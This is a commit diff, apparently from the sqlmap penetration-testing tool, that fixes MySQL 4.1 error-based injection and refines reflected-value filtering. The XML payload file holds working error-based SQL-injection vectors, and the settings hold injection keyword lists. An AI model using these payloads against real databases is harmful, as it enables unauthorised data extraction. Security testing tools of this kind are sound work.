fixed support for error-based injection on MySQL 4.1 (help table a needs more than 2 items inside); also, fixed some border issues with reflective values

This commit is contained in:
Miroslav Stampar 2012-03-29 12:44:20 +00:00
parent c9cac957bb
commit 772ead8d03
4 changed files with 36 additions and 20 deletions

View File

@ -208,11 +208,12 @@ class Agent:
randInt = randomInt() randInt = randomInt()
randInt1 = randomInt() randInt1 = randomInt()
randInt2 = randomInt()
randStr = randomStr() randStr = randomStr()
randStr1 = randomStr() randStr1 = randomStr()
_ = ( _ = (
("[RANDNUM]", str(randInt)), ("[RANDNUM1]", str(randInt1)), ("[RANDSTR]", randStr),\ ("[RANDNUM]", str(randInt)), ("[RANDNUM1]", str(randInt1)), ("[RANDNUM2]", str(randInt2)), ("[RANDSTR]", randStr),\
("[RANDSTR1]", randStr1), ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\ ("[RANDSTR1]", randStr1), ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\ ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
("[HASH_REPLACE]", kb.chars.hash_) ("[HASH_REPLACE]", kb.chars.hash_)

View File

@ -116,6 +116,7 @@ from lib.core.settings import LARGE_OUTPUT_THRESHOLD
from lib.core.settings import ML from lib.core.settings import ML
from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import REFLECTED_BORDER_REGEX
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
from lib.core.settings import REFLECTED_MAX_REGEX_PARTS from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTED_VALUE_MARKER
@ -2625,19 +2626,30 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
retVal = content retVal = content
if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism: if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism:
def _(value):
while 2 * REFLECTED_REPLACEMENT_REGEX in value:
value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
return value
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''))) payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, '')))
regex = _(filterStringValue(payload, r'[A-Za-z0-9]', REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
regex = filterStringValue(payload, r'[A-Za-z0-9]', REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))
while 2 * REFLECTED_REPLACEMENT_REGEX in regex:
regex = regex.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
if all(part.lower() in content.lower() for part in regex.split(REFLECTED_REPLACEMENT_REGEX)): # fast optimization check if all(part.lower() in content.lower() for part in regex.split(REFLECTED_REPLACEMENT_REGEX)): # fast optimization check
parts = regex.split(REFLECTED_REPLACEMENT_REGEX) parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs
regex = "%s.+?%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:])) regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:])))
retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, content) if regex.lstrip(REFLECTED_REPLACEMENT_REGEX) != regex:
regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex.lstrip(REFLECTED_REPLACEMENT_REGEX))
else:
regex = r"\b%s" % regex
if regex.rstrip(REFLECTED_REPLACEMENT_REGEX) != regex:
regex = r"%s%s" % (regex.rstrip(REFLECTED_REPLACEMENT_REGEX), REFLECTED_BORDER_REGEX)
else:
regex = r"%s\b" % regex
retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, content)
if retVal != content: if retVal != content:
kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1

View File

@ -327,22 +327,25 @@ MSSQL_ERROR_CHUNK_LENGTH = 100
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
# Mark used for replacement of reflected values # Mark used for replacement of reflected values
REFLECTED_VALUE_MARKER = '__REFLECTED_VALUE__' REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
# Regular expression used for replacing border non-alphanum characters
REFLECTED_BORDER_REGEX = r"[^\s]+"
# Regular expression used for replacing non-alphanum characters # Regular expression used for replacing non-alphanum characters
REFLECTED_REPLACEMENT_REGEX = r'.+' REFLECTED_REPLACEMENT_REGEX = r".+?"
# Maximum number of alpha-numerical parts in reflected regex (for speed purposes) # Maximum number of alpha-numerical parts in reflected regex (for speed purposes)
REFLECTED_MAX_REGEX_PARTS = 10 REFLECTED_MAX_REGEX_PARTS = 10
# Chars which can be used as a failsafe values in case of too long URL encoding value # Chars which can be used as a failsafe values in case of too long URL encoding value
URLENCODE_FAILSAFE_CHARS = '()|,' URLENCODE_FAILSAFE_CHARS = "()|,"
# Maximum length of urlencoded value after which failsafe procedure takes away # Maximum length of urlencoded value after which failsafe procedure takes away
URLENCODE_CHAR_LIMIT = 2000 URLENCODE_CHAR_LIMIT = 2000
# Default schema for Microsoft SQL Server DBMS # Default schema for Microsoft SQL Server DBMS
DEFAULT_MSSQL_SCHEMA = 'dbo' DEFAULT_MSSQL_SCHEMA = "dbo"
# Display hash attack info every mod number of items # Display hash attack info every mod number of items
HASH_MOD_ITEM_DISPLAY = 11 HASH_MOD_ITEM_DISPLAY = 11
@ -357,10 +360,10 @@ IGNORE_PARAMETERS = ("__VIEWSTATE", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENT
TURN_OFF_RESUME_INFO_LIMIT = 20 TURN_OFF_RESUME_INFO_LIMIT = 20
# Strftime format for results file used in multiple target mode # Strftime format for results file used in multiple target mode
RESULTS_FILE_FORMAT = 'results-%m%d%Y_%I%M%p.csv' RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv"
# Official web page with the list of Python supported codecs # Official web page with the list of Python supported codecs
CODECS_LIST_PAGE = 'http://docs.python.org/library/codecs.html#standard-encodings' CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encodings"
# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition) # Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\(" SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("
@ -390,13 +393,13 @@ REFLECTIVE_MISS_THRESHOLD = 20
HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>" HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>"
# Table used for Base64 conversion in WordPress hash cracking routine # Table used for Base64 conversion in WordPress hash cracking routine
ITOA64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
# Chars used to quickly distinguish if the user provided tainted parameter values # Chars used to quickly distinguish if the user provided tainted parameter values
DUMMY_SQL_INJECTION_CHARS = ";()'" DUMMY_SQL_INJECTION_CHARS = ";()'"
# Simple check against dummy users # Simple check against dummy users
DUMMY_USER_INJECTION = "(?i)[^\w](AND|OR)\s+[^\s]+[=><]" DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]"
# Extensions skipped by crawler # Extensions skipped by crawler
CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz") CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")

View File

@ -1161,9 +1161,9 @@ Formats:
<risk>0</risk> <risk>0</risk>
<clause>1</clause> <clause>1</clause>
<where>1</where> <where>1</where>
<vector>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</vector> <vector>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x)</vector>
<request> <request>
<payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</payload> <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x)</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1379,9 +1379,9 @@ Formats:
<risk>2</risk> <risk>2</risk>
<clause>1</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</vector> <vector>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x)</vector>
<request> <request>
<payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)</payload> <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1] UNION SELECT [RANDNUM2])a GROUP BY x)</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>